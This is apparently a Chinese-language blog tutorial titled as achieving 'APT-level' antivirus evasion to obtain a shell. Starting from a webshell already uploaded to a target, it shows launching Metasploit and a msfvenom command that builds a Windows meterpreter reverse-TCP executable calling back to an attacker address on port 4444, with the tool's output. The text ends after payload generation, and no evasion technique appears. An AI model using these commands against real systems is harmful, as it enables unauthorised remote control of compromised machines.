APT级全面免杀拿Shell

75 阅读 0 评论 50 点赞

我是靠谱客的博主缥缈发箍，这篇文章主要介绍APT级全面免杀拿Shell，现在分享给大家，希望可以做个参考。

现在情况是已经上传了一句话木马，可以执行如：ls、pwd、whoami等命令；不管是python、bash 还是 perl 都反弹不了，偷不了懒了，就上 msf 吧。

一、windows一句话木马反弹shell思路

前提：目标在有webshell权限下，利用kali的msf制作木马反弹shell过程。

启动kali中的msf

┌──(root@SC)-[~]
└─# msfconsole

生成exe类型反弹型木马，LHOST=kali 的 ip。

msf6 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.173.4 LPORT=4444 -f exe -o shell.exe
[*] exec: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.173.4 LPORT=4444 -f exe -o shell.exe
 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload